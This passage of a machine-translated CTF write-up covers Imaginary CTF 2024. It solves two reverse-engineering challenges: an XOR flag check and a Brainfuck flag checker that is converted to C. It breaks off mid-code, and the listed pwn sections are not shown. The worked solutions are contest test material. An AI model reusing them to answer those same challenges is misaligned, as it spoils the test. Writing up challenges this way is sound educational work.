{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-imaginary-ctf-2024-en","result":{"data":{"markdownRemark":{"id":"648ee634-23a6-536c-a62e-76a6fc76d0fe","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-imaginary-ctf-2024\">original page</a>.</p>\n</blockquote>\n<p>I participated in Imaginary CTF, which started on July 20, 2024, as part of 0nePadding.</p>\n<p>Considering that I could not participate for the entire event, the final ranking was not bad at all.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9a6eb8a159e6769320e6729d487a2598/4cdc7/image-20240722203307698.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 21.666666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAmUlEQVQY012PyQ7DMAhE/f8/2VulNvEKGNzLFDtKuhyegJmxDMHGC2rjYs7EgpgyYkyopeK+Z2ze51KWnnJZmf+3k1AbQdVgZuh6MA1xmg6Qc8uGZ1PUPpDkxJD4l+JayL5BZkV0YSNDJF3sTpUZUjRnhqvXrnp9/I30Qw/UDY9C2CutMyZza2KGiM/EC5G+tMP75Jp77N5Z30PxNI+BRctdAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9a6eb8a159e6769320e6729d487a2598/8ac56/image-20240722203307698.webp 240w,\n/static/9a6eb8a159e6769320e6729d487a2598/d3be9/image-20240722203307698.webp 480w,\n/static/9a6eb8a159e6769320e6729d487a2598/e46b2/image-20240722203307698.webp 960w,\n/static/9a6eb8a159e6769320e6729d487a2598/518ae/image-20240722203307698.webp 1327w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9a6eb8a159e6769320e6729d487a2598/8ff5a/image-20240722203307698.png 240w,\n/static/9a6eb8a159e6769320e6729d487a2598/e85cb/image-20240722203307698.png 480w,\n/static/9a6eb8a159e6769320e6729d487a2598/d9199/image-20240722203307698.png 960w,\n/static/9a6eb8a159e6769320e6729d487a2598/4cdc7/image-20240722203307698.png 1327w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9a6eb8a159e6769320e6729d487a2598/d9199/image-20240722203307698.png\"\n            alt=\"image-20240722203307698\"\n            title=\"image-20240722203307698\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>As usual, I’ll casually write up the challenges I looked at.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#unoriginalrev\">unoriginal(Rev)</a></li>\n<li><a href=\"#bfrev\">BF(Rev)</a></li>\n<li><a href=\"#rustrev\">Rust(Rev)</a></li>\n<li><a href=\"#unconditionalrev\">unconditional(Rev)</a></li>\n<li><a href=\"#watchdogrev\">watchdog(Rev)</a></li>\n<li><a href=\"#imgstorepwn\">imgstore(Pwn)</a></li>\n<li><a href=\"#ropitypwn\">ropity(Pwn)</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"unoriginalrev\" style=\"position:relative;\"><a href=\"#unoriginalrev\" aria-label=\"unoriginalrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>unoriginal(Rev)</h2>\n<blockquote>\n<p>i like elf reversing</p>\n</blockquote>\n<p>Analyzing the challenge binary shows that it checks whether the input XORed with 5 matches a hardcoded byte sequence, as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 619px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6319d2411d74002b312efcd33770b6f7/e628c/image-20240720114948867.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 80%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC1ElEQVQ4y41U2XLbRhDEd9hOSSRBAHtgsbh5iJTAA7wpR3mzo/z/X7R7l4qsqrjKeejawSzR6JnpYbC5HNG/XLA+7nG+7nF6PqA//Ynj9YzLM5+vFxwuF563+Hh9xvFyYHwivmJ/uqDb9lj1O38GZlKhXM+gyxwqNZBaQ5kM2tziRN0glEIi1e1ZSh8LqT18/g2BrDPYVYvEpgjHsSfRJCyqiiQacZJAiBjjWCARLhaQzEeJQKQkIpIPwzFG48gjMA8VmusjVJXxpQRNXWA6adHWUxS2xKxu8NA0mFRTNGUJay1sXkCzmiSjulRTSIQwij0C1eQod3PIkoRRApulmM3nMDbHyH05jKiAP3bnKMKAucEovKl6gyN6V6gnBarjAqq2iKjQZAppZn0/Y8GShCuVPdMKsZa3mL1yHx9Hsa9q/KbOK5StRXl6QJJrKghJEEPpFDnL0exn0bYkYmlWw5Qa0rB/vL9PYvwxHOHLYOjPewfGQXfeof/2jKdDj8Vjh8VTh9V6jV2/wZpW6Dc9/qYdvhP/bHd4Ze47c6/9Ht82W3/312qNZddhudkgmB1I8HrGZLVAyQEsn+bYMl7zB+uOpIsOp+UK/fTBYzvl/WTmz81kytwcj02LioOr+BzELNU81ogMxz8a01cRpHR9EYjHtEYk8YXlfLq7x+f7AT7fDXyZHsPhf0s2ixqTlw66sb7BzmN1YTht+jPLUWQGGW1iOChBi8jc+IH4IdC3fjAfh+KmW2ynSNhsdyE5TcWtiBNJcgWTSpJlSLk5btIqd24QCGn4SIp3y7wT6mmB+rz0Cp1thBKomwqWvjSWSo3itGml1JEr5EXpje1MrYrsF4T0YX1aQFOpS0RxzBcFN8GtmPRK/zWtgzP08M3wow8r99PYLTdlz01h30K3KTZDS4VNzT+N4mbw8EOPfocgyVOk85JmlT/lO/cTIzZ9GIbvqv4PfgAMY/Co3ahkzAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6319d2411d74002b312efcd33770b6f7/8ac56/image-20240720114948867.webp 240w,\n/static/6319d2411d74002b312efcd33770b6f7/d3be9/image-20240720114948867.webp 480w,\n/static/6319d2411d74002b312efcd33770b6f7/3aa79/image-20240720114948867.webp 619w\"\n              sizes=\"(max-width: 619px) 100vw, 619px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6319d2411d74002b312efcd33770b6f7/8ff5a/image-20240720114948867.png 240w,\n/static/6319d2411d74002b312efcd33770b6f7/e85cb/image-20240720114948867.png 480w,\n/static/6319d2411d74002b312efcd33770b6f7/e628c/image-20240720114948867.png 619w\"\n            sizes=\"(max-width: 619px) 100vw, 619px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6319d2411d74002b312efcd33770b6f7/e628c/image-20240720114948867.png\"\n            alt=\"image-20240720114948867\"\n            title=\"image-20240720114948867\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Applying that XOR directly was enough to recover the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 803px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/3450f870f83ca4dec79e1470b462613e/e1031/image-20240720114932487.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 36.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABEUlEQVQoz4WQD2uDMBDF/f4fbDAGmzjLVv+0dZqa2k4TY0xixbckwzIYtAc/EnKXu3svqOkRJSmhjMKo5Q2lR2R5ijB6Q2XzTXNCxximyUBrZdH/MEYj2DYbfDQhDmyLXfeJvT0PngQFT5CeYxTfKYZhAOccrOsghPB3KSWYHeJyfd9DKYWg7inkZCfOI8ysIFQPrjrQnqBuj9DXEUxdcJ0nuFiW5S5BesrtFgV2bekhvEQtvlCxPYpLDjpUoKIC47+bGGPuEsRViNfqCWH9jIi+IG3fkbUxsi5GzjZI2sjLJ4SAUuo//fXNyVzxDeUkvVQnzaFuSI9/szVuO4fzb/VsPZ2fDt9wnhc8iuVxyS1+AJ0EGJN5NqqUAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/3450f870f83ca4dec79e1470b462613e/8ac56/image-20240720114932487.webp 240w,\n/static/3450f870f83ca4dec79e1470b462613e/d3be9/image-20240720114932487.webp 480w,\n/static/3450f870f83ca4dec79e1470b462613e/76c9f/image-20240720114932487.webp 803w\"\n              sizes=\"(max-width: 803px) 100vw, 803px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/3450f870f83ca4dec79e1470b462613e/8ff5a/image-20240720114932487.png 240w,\n/static/3450f870f83ca4dec79e1470b462613e/e85cb/image-20240720114932487.png 480w,\n/static/3450f870f83ca4dec79e1470b462613e/e1031/image-20240720114932487.png 803w\"\n            sizes=\"(max-width: 803px) 100vw, 803px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/3450f870f83ca4dec79e1470b462613e/e1031/image-20240720114932487.png\"\n            alt=\"image-20240720114932487\"\n            title=\"image-20240720114932487\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"bfrev\" style=\"position:relative;\"><a href=\"#bfrev\" aria-label=\"bfrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>BF(Rev)</h2>\n<blockquote>\n<p>Simple equations… but in BF?!!!</p>\n</blockquote>\n<p>The challenge is provided as a BrainFuck program.</p>\n<div class=\"gatsby-highlight\" data-language=\"txt\"><pre class=\"language-txt\"><code class=\"language-txt\">,>>+++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++[&lt;++++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++[&lt;++++++++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++[&lt;++++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------[>&lt;],>>+++++++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;--------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;--------------------------------------------------------------------------------------------------------[>&lt;],>>++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;-------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;--------------------------------------------------------------------------------------------------[>&lt;],>>++++++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;-------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++++[&lt;+++++++>-]&lt;[-&lt;+>]&lt;--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++++++[&lt;++++++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;---------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++[&lt;++++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++++++++++++[&lt;++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;----------------------------------------------------------------------------------------------------------------------[>&lt;],>>+++++++++++++++++++[&lt;+++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;],>>++++++[&lt;+++++>-]&lt;[-&lt;+>]&lt;-----------------------------------------------------------------------------------------------------------------------------------------------------------[>&lt;]</code></pre></div>\n<p>It is far too unreadable in this form, so I converted it to C with bftoc.</p>\n<p>Reference: <a href=\"https://github.com/paulkaefer/bftoc/blob/master/bftoc.py\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">bftoc/bftoc.py at master · paulkaefer/bftoc · GitHub</a></p>\n<p>The converted result looked like this.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/* This is a translation of bf.txt, generated by bftoc.py (by Paul Kaefer)\n * It was generated on Saturday, July 20, 2024 at 04:18AM\n */</span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">int</span> size <span class=\"token operator\">=</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">int</span> tape<span class=\"token punctuation\">[</span>size<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">int</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\">/* Clearing the tape (array) */</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>i<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">&lt;</span>size<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span>\n        tape<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">int</span> ptr <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// chr(138-3*11)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">138</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// chr(169-7*10)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">169</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(160-11*4)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">160</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(172-10*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token 